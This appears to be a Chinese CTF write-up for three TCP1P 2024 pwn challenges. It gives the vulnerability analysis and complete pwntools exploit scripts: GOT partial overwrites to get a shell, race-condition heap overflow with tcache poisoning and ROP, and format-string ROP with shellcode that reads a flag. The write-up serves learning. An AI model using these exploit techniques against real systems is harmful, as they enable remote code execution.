[TCP1P 2024] Pwn writeup(部分)

本文总阅读量

baby_cfhp 🩸


这竟然让我拿了一血,不过后边还是被薄纱了

漏洞分析

程序给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
unsigned long ptr;
int idx, val;
printf("address: ");
scanf("%li", &ptr);
printf("value: ");
scanf("%i", &val);

ptr = (ptr & ~((1 << 16) - 1)) |
((ptr & 0xff) ^ ((val & 0xff) ^ ((val & 0xff) >> 1))) |
(ptr & 0xffff & ~0xff);
exit(0);
}

__attribute__((constructor)) void init(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

没有开PIE和Full relro,也没有去除符号.libc从docker里扣出来patch.

程序的逻辑结构很简单,输入ptr和val之后赋值ptr一个复杂的表达式;

对这个表达式逆向分析一下(加个把每个计算部分输出的代码编译一份跑一下就行了),发现仅对ptr最低一位的字节进行了修改,且必须在知道ptr原内容的前提下才能正确修改。

修改最低一字节的逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def calc(payload, ptr):
tmp = payload ^ ptr

res1 = tmp & 0b1000_0000
res2 = (tmp & 0b0100_0000) ^ (res1 >> 1)
res3 = (tmp & 0b0010_0000) ^ (res2 >> 1)
res4 = (tmp & 0b0001_0000) ^ (res3 >> 1)
res5 = (tmp & 0b0000_1000) ^ (res4 >> 1)
res6 = (tmp & 0b0000_0100) ^ (res5 >> 1)
res7 = (tmp & 0b0000_0010) ^ (res6 >> 1)
res8 = (tmp & 0b0000_0001) ^ (res7 >> 1)

res = res1 | res2 | res3 | res4 | res5 | res6 | res7 | res8

return res

其中payload是我们想要写入的内容,ptr是原ptr指针所指向的内容

这种方式给我们的利用增加了很大的限制:我们必须知道ptr指向的内容才能任意写,而且我们只能写一个字节。这无论是泄漏地址还是构造利用都很困难。

首先需要想办法把一次写变成多次写,做法是修改exit的got表为_start的地址。因为exit未被调用,所以还没有延迟绑定,exit的got表指向plt表附近,而plt表与_start函数离得很近(只有最后一个字节的差异),且程序没开PIE,因此可以修改。修改后便拿到了多次写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
exit_got = elf.got.exit
main = elf.sym.main


p.sendlineafter(b"address: ", str(exit_got).encode())

ptr = 0x70
payload = 0xD0

tmp = payload ^ ptr

res1 = tmp & 0b1000_0000
res2 = (tmp & 0b0100_0000) ^ (res1 >> 1)
res3 = (tmp & 0b0010_0000) ^ (res2 >> 1)
res4 = (tmp & 0b0001_0000) ^ (res3 >> 1)
res5 = (tmp & 0b0000_1000) ^ (res4 >> 1)
res6 = (tmp & 0b0000_0100) ^ (res5 >> 1)
res7 = (tmp & 0b0000_0010) ^ (res6 >> 1)
res8 = (tmp & 0b0000_0001) ^ (res7 >> 1)

res = res1 | res2 | res3 | res4 | res5 | res6 | res7 | res8

p.sendlineafter(b"value: ", str(res).encode())

接下来想办法泄漏libc基址,个人认为最麻烦的部分就在这里。由于bss段上和libc地址有关的只有三个FILE指针和got表里的函数地址,故从它们入手。

思路是partial overwrite setbuf函数的got表,把setbuf函数变成gets函数(只有倒数两个字节不一样,需要爆破1/16概率),然后修改利用stdout任意读读出libc有关地址,顺便往stderr里边写”/bin/sh”,然后再修改setbuf的got为system.因为stderr没有用到所以里边的东西不会变,这样在下一轮setbuf执行setbuf(stderr)的时候就能拿到shell.

  • 由于init是以__attribute__((constructor))给出的,因此它被注册到了init_array中,在执行_start时有调用链_start -> libc_start_call_main -> init,每次循环都会在main之前执行一次init函数。但是partial overwrite setbuf函数需要写两次(低两位字节),如果在只写完一次之后再次调用的话程序大概率会crash(RE或指令不对齐),造成不可预知的错误,因此在覆写setbuf的got时不能走main -> exit@got -> _start -> main链,应当换成main -> exit@got -> main链
  • 将exit@got改为main函数同样需要两步。虽然我们已经把末位地址修改了,但尝试修改倒数第二字节地址,让exit@got指向main函数某一位置的行为全都失败了(要么是指令不对齐,要么是没有栈对齐,必须从main函数最开始的地方跳转)。因此,我们决定换一个调用链:exit@got -> __stack_chk_fail@plt -> __stack_chk_fail@got -> main
  • 由于__stack_chk_fail也没有被调用过,因此__stack_chk_fail@got为一个指向plt表附近的已知地址,我们能够分两次修改它为main函数地址。之后,还是由于plt表与_start函数离得很近,我们修改exit@got指向__stack_chk_fail@plt,便完成了exit@got -> __stack_chk_fail@plt -> __stack_chk_fail@got -> main调用链,避开了_start函数对init函数的调用,可以安全地partial overwrite setbuf函数。

partial overwrite setbuf函数时直接假定后两字节没有偏移就行,还是1/16几率。最后再把exit@got指向_start,便可以getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./baby_cfhp/chall"
libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1
# nc ctf.tcp1p.team 20011

ip, port = "ctf.tcp1p.team", 20011
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote(ip, port)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# =================start=================#


def calc(payload, ptr):
tmp = payload ^ ptr

res1 = tmp & 0b1000_0000
res2 = (tmp & 0b0100_0000) ^ (res1 >> 1)
res3 = (tmp & 0b0010_0000) ^ (res2 >> 1)
res4 = (tmp & 0b0001_0000) ^ (res3 >> 1)
res5 = (tmp & 0b0000_1000) ^ (res4 >> 1)
res6 = (tmp & 0b0000_0100) ^ (res5 >> 1)
res7 = (tmp & 0b0000_0010) ^ (res6 >> 1)
res8 = (tmp & 0b0000_0001) ^ (res7 >> 1)

res = res1 | res2 | res3 | res4 | res5 | res6 | res7 | res8

return res


exit_got = elf.got.exit
main = elf.sym.main


p.sendlineafter(b"address: ", str(exit_got).encode())

ptr = 0x70
payload = 0xD0

tmp = payload ^ ptr

res1 = tmp & 0b1000_0000
res2 = (tmp & 0b0100_0000) ^ (res1 >> 1)
res3 = (tmp & 0b0010_0000) ^ (res2 >> 1)
res4 = (tmp & 0b0001_0000) ^ (res3 >> 1)
res5 = (tmp & 0b0000_1000) ^ (res4 >> 1)
res6 = (tmp & 0b0000_0100) ^ (res5 >> 1)
res7 = (tmp & 0b0000_0010) ^ (res6 >> 1)
res8 = (tmp & 0b0000_0001) ^ (res7 >> 1)

res = res1 | res2 | res3 | res4 | res5 | res6 | res7 | res8

p.sendlineafter(b"value: ", str(res).encode())


stack_chk_fail = 0x404018
res = calc(0xB6, 0x30)
ls(res)
p.sendlineafter(b"address: ", str(stack_chk_fail).encode())
p.sendlineafter(b"value: ", str(res).encode())


res = calc(0x11, 0x10)
p.sendlineafter(b"address: ", str(stack_chk_fail + 1).encode())
p.sendlineafter(b"value: ", str(res).encode())


res = calc(0x80, 0xD0)
p.sendlineafter(b"address: ", str(exit_got).encode())
p.sendlineafter(b"value: ", str(res).encode())

setbuf_addr = elf.got.setbuf

res = calc(0x20, 0xE0)
# 0520 gets
p.sendlineafter(b"address: ", str(setbuf_addr).encode())
p.sendlineafter(b"value: ", str(res).encode())

res = calc(0x05, 0x7F)
p.sendlineafter(b"address: ", str(setbuf_addr + 1).encode())
p.sendlineafter(b"value: ", str(res).encode())


res = calc(0xD0, 0x80)
p.sendlineafter(b"address: ", str(exit_got).encode())
p.sendlineafter(b"value: ", str(res).encode())

sleep(0.5)

payload = p64(0xFBAD1800)
payload += p64(0) * 3
payload += p64(0x404060)
payload += p64(0x404070)
payload += p64(0x404060)
payload += p64(0x404060)
payload += p64(0x404060)
p.sendline(payload)

sleep(0.5)
payload = b"/bin/sh"
p.sendline(payload)

libc_base = u64(p.recvn(8)) - libc.sym._IO_2_1_stdout_
system = libc_base + libc.sym.system
gets = libc_base + libc.sym.gets

ls(libc_base)

res = calc(0x80, 0xD0)
p.sendlineafter(b"address: ", str(exit_got).encode())
p.sendlineafter(b"value: ", str(res).encode())


system0 = system & 0xFF
system1 = (system & 0xFF00) >> 8
system2 = (system & 0xFF0000) >> 16
gets2 = (gets & 0xFF0000) >> 16

res = calc(system0, 0x20)
p.sendlineafter(b"address: ", str(setbuf_addr).encode())
p.sendlineafter(b"value: ", str(res).encode())

res = calc(system1, 0x05)
p.sendlineafter(b"address: ", str(setbuf_addr + 1).encode())
p.sendlineafter(b"value: ", str(res).encode())

res = calc(system2, gets2)
p.sendlineafter(b"address: ", str(setbuf_addr + 2).encode())
p.sendlineafter(b"value: ", str(res).encode())


# dbg(p)
res = calc(0xD0, 0x80)
p.sendlineafter(b"address: ", str(exit_got).encode())
p.sendlineafter(b"value: ", str(res).encode())

p.interactive()


sim


漏洞分析

一个高版本堆题(libc2.35),保护全开,没有去除符号,没给libc给了Dockerfile,libc是从docker里扣出来的

sim1

可以看到程序在进入菜单堆之前创建了一个线程,本题的漏洞也是集中在线程的race condition上。

run_control函数标准的菜单堆,但是没有漏洞:

sim3

线程函数内容有两项,分别可以做到复制堆块内容和输出堆块内容,需要用前台launch和terminate函数触发:

sim2

这两个函数在执行的时候都有较长时间的sleep,因此可以利用race condition在sleep时修改其中一个堆块,绕过最开始的对长度的检查,实现heap overflow和overread

sim4

题目只能malloc0x80的堆块,首先连续申请删除七个堆块,然后输出第八个堆块。利用输出时的sleep将其free造出unsorted bin并输出从而拿到libc基地址。用同样的方法泄漏tcache bin的指针得到heap基地址,用于加密指针。

此时main_arena里有存放着七个tcache bin的单链表,顺序为tcache bin1 -> tcache bin2 -> ……,利用漏洞可以复制堆块上超过该堆块size的内容,我们构造堆风水,将tcache bin1的指针复制到tcache bin2处, 实现tcache bin1 -> tcache bin2 -> tcache bin2这样的类double free效果,进而UAF利用tcache bin poisoning实现任意写。

一开始尝试打IO链,但是在复制时总会把堆块的size位和题目给的长度标记复制到IO结构体需要置零/放入有效地址的地方,无论如何偏移复制都会访问非法内存,出现sigsegv,因此决定打ROP.(还是ROP最靠谱)

任意分配堆块至environ指针附近,利用race condition的overread读取environ指针获得栈地址。第一次构造tcache bin poisoning时得到了指向同一个堆块的两个指针,可以UAF再次打一个tcache bin poisoning,分配到stack上写入ROP链,最终成功getshell.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./sim/chall"
libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6"

elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "ctf.tcp1p.team", 55551
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote(ip, port)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# =================start=================#
def create(idx, size, config):
p.sendlineafter(b"\n", str(0).encode())
p.sendlineafter(b"idx >> ", str(idx).encode())
p.sendlineafter(b"size >> ", str(size).encode())
p.sendlineafter(b"config >> ", config)


def delete(idx):
p.sendlineafter(b"\n", str(1).encode())
p.sendlineafter(b"idx >> ", str(idx).encode())


def launch(idx):
p.sendlineafter(b"\n", str(2).encode())
p.sendlineafter(b"idx >> ", str(idx).encode())


def terminate():
p.sendlineafter(b"\n", str(3).encode())


create(0, 0x78, b"")
launch(0)
delete(0)
terminate()

p.recvuntil(b"[*] Your Config: \n")


heap_base = u64(p.recvn(8)) << 12


# 12 0x1f3
create(0, 0x78, b"")
create(1, 0x78, b"")
create(2, 0x78, b"")
create(3, 0x78, b"")
create(4, 0x78, b"")
create(5, 0x78, b"")
create(6, 0x78, b"")
create(7, 0x78, b"")
create(8, 0x78, b"")

delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)

launch(7)
delete(7)

terminate()


p.recvuntil(b"[*] Your Config: \n")
"""
0x000000000002a3e5: pop rdi; ret;
"""

main_arena = 0x21ACE0

libc_base = u64(p.recvn(8)) - main_arena
stderr = libc.sym._IO_2_1_stderr_ + libc_base
system = libc.sym.system + libc_base
ptr = libc_base + 0x21CA60
environ = libc_base + libc.sym.environ
pop_rdi = 0x000000000002A3E5 + libc_base
ret = 0x00000000000F410B + libc_base

fake_wide_data_addr = heap_base + 0x7E0

_IO_wfile_overflow = 0x217018 + libc_base

binsh = libc_base + libc.search(b"/bin/sh").__next__()

fake_io_1 = p64(0) + p64(_IO_wfile_overflow)
fake_io_1 = fake_io_1.ljust(0x50, b"\0")
fake_io_1 += b" sh;".ljust(0x8, b"\0")

fake_io_2 = p64(0) + p64(0)
fake_io_2 = fake_io_2.ljust(0x68, b"\0")
fake_io_2 += p64(fake_wide_data_addr)

create(0, 0x70, b"a" * 0x10)

create(1, 0x70, b"a" * 0x10)

create(2, 0x130, b"a" * 0x10)

create(3, 0x70, b"a" * 0x10)
create(4, 0x70, b"a" * 0x10)

delete(3)

delete(1)


launch(4)

launch(2)

# fake_vtable_addr = heap_base + 0x860

# fake_wide_data = p64(0) * 2 + p64(fake_vtable_addr) + p64(system)

create(1, 0x70, b"")
# create(3, 0x70, p64((stderr - 0x50) ^ (heap_base >> 12)))
create(3, 0x70, p64((environ - 0x20) ^ (heap_base >> 12)))

create(5, 0x20, b"")
create(6, 0x10, b"env")

launch(6)
sleep(1)
terminate()

p.recvuntil(b"[+] Terminate Protocol Success")
launch(6)
terminate()
launch(1)

p.recvuntil(b"[*] Your Config: \n")
# p.recvn(8)

p.recvn(32)
stack_addr = u64(p.recvn(8))

ret_addr = stack_addr - 0x170

create(7, 0x10, p64((ret_addr - 0x8) ^ (heap_base >> 12)))

delete(0)
delete(3)

launch(5)
launch(7)


create(3, 0x78, b"")

ls(stack_addr)
ls(heap_base)
ls(libc_base)
# dbg(p)

payload = p64(0)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
create(0, 0x78, payload)


p.interactive()

amnesia


漏洞分析

保护全开,有沙箱但只禁用了execve和execveat.该题只patch libc和ld还不够,libseccomp版本和本机不对应,又从docker里把libseccomp.so抠出来patch的,这才能在本机运行了

本题有两个大小不一样的格式化字符串漏洞,其中第二个可以无限利用

amnesia1

amnesia2

有意思的是作者给了一个函数来检查”$px”是否存在于我们输入的字符串中,而且这个字符串“$px”存储在bss段而不是rodata,意味着我们能够更改它。第一个printf的offset为14,第二个printf的offset为8.

第一次利用该限制仅仅增大了一点receive的工作量。我们用连续的“%lu|”泄漏并在脚本中接收转换,可以拿到libc基地址,stack地址(rbp)和程序基地址(ret addr拿到)。

这个限制造成麻烦的只有‘$’字符,因为在第二个格式化字符串中,没有‘$’会导致无法在32字符的长度内构造出能写入任意内容的payload(只能任意写入数值10~19的qword或数值10的dword)。因此我们需要在第一次利用时修改字符串“$px”为0xa(该字符不会被scanf读取,是绝对安全的)

之后就格式化字符串布置ROP就行了。32个字符还是比较足够的。pwntools里的fmtstr_payload生成的payload只能写入单字节(其他的都超过32个字符了),也可以自己布置一次性写入word.ROP链的设置是mprotect(bss_addr, 0x1000, 0x7) -> read(0, bss_addr, 0x1000) -> bss_addr,然后整一段shellcode写入即可(也可以用libc中给的库函数open,read,write)

远程环境不知道有啥问题,每一个地址都没问题打了好几次才打通

amnesia3

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./amnesia"
libc_path = "./libc.so.6"

elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "ctf.tcp1p.team", 20037
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote(ip, port)
dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))



# =================start=================#


# dbg(p)
payload = b"%lu|" * 50
p.sendlineafter(b"?\n", payload)

p.recvlines(5)

offset = 14

recv = []

for i in range(47):
recv.append(int(p.recvuntil(b"|", drop=True)))
print(str(i) + ": " + hex(recv[i]))


# 0x7eda00e00000 + 0x114887
libc_base = recv[2] - 0x114887
text_base = recv[40] - 0x16F7
stack_addr = recv[39]

stack_addr2 = recv[42]
stack_addr3 = recv[43]

libc_stact_call_main = recv[46]
ret_addr = stack_addr - 0x28

assert ret_addr == stack_addr2 - 0x150
assert ret_addr == stack_addr3 - 0x140
assert libc_base == libc_stact_call_main - 0x29D90
# 41 ===> ret_addr

pop_rdi = libc_base + 0x000000000002A3E5
pop_rsi = libc_base + 0x000000000002BE51
pop_rdx_pop_r12 = libc_base + 0x000000000011F2E7
mprotect = libc_base + libc.sym.mprotect
read = libc_base + libc.sym.read

str_addr = text_base + 0x4010
bss_addr = text_base + 0x4000


# p.interactive()

payload = b"%c%c%c%c" * 2
# 21
# payload += (b"%c%" + str(0x29 - 19).encode() + b"c%n").ljust(8, b"\0")
payload += b"%c%c%n".ljust(8, b"\0")
payload += p64(str_addr)

p.sendlineafter(b"ber?\n", payload)


def fmt(addr, rop):
for i in range(6):
tmp = rop & 0xFF
rop = rop >> 8

payload = fmtstr_payload(8, {addr + i: tmp})
assert len(payload) <= 32
p.sendlineafter(b"ber?\n", payload)


fmt(ret_addr, pop_rdi)
fmt(ret_addr + 0x8, bss_addr)

fmt(ret_addr + 0x10, pop_rsi)
fmt(ret_addr + 0x18, 0x1000)

fmt(ret_addr + 0x20, pop_rdx_pop_r12)
fmt(ret_addr + 0x28, 0x7)

fmt(ret_addr + 0x38, mprotect)

fmt(ret_addr + 0x40, pop_rdi)
fmt(ret_addr + 0x48, 0)

fmt(ret_addr + 0x50, pop_rsi)
fmt(ret_addr + 0x58, bss_addr + 0x400)

fmt(ret_addr + 0x60, pop_rdx_pop_r12)
fmt(ret_addr + 0x68, 0x200)

fmt(ret_addr + 0x78, read)

fmt(ret_addr + 0x80, bss_addr + 0x400)


p.sendlineafter(b"ber?\n", b"I remember everything!")


shellcode = """
mov rax, 2;

mov rcx, 0x7478742e67616c66;
push 0;
push rcx;
mov rdi, rsp;
push 0;
xor rsi, rsi;
xor rdx, rdx;
syscall;

mov rsi, rax;
xor rdi, rdi;
inc rdi;
inc rdi;

push 0;
mov rdx, rsp;

mov r8, 0x50;

mov rax, 40;
syscall;
"""


sleep(2.5)
p.sendafter(b"Congratulations! You have recovered from your amnesia.", asm(shellcode))

for i in range(47):
print(str(i) + ": " + hex(recv[i]))
ls(libc_base)
ls(text_base)
ls(ret_addr)

p.interactive()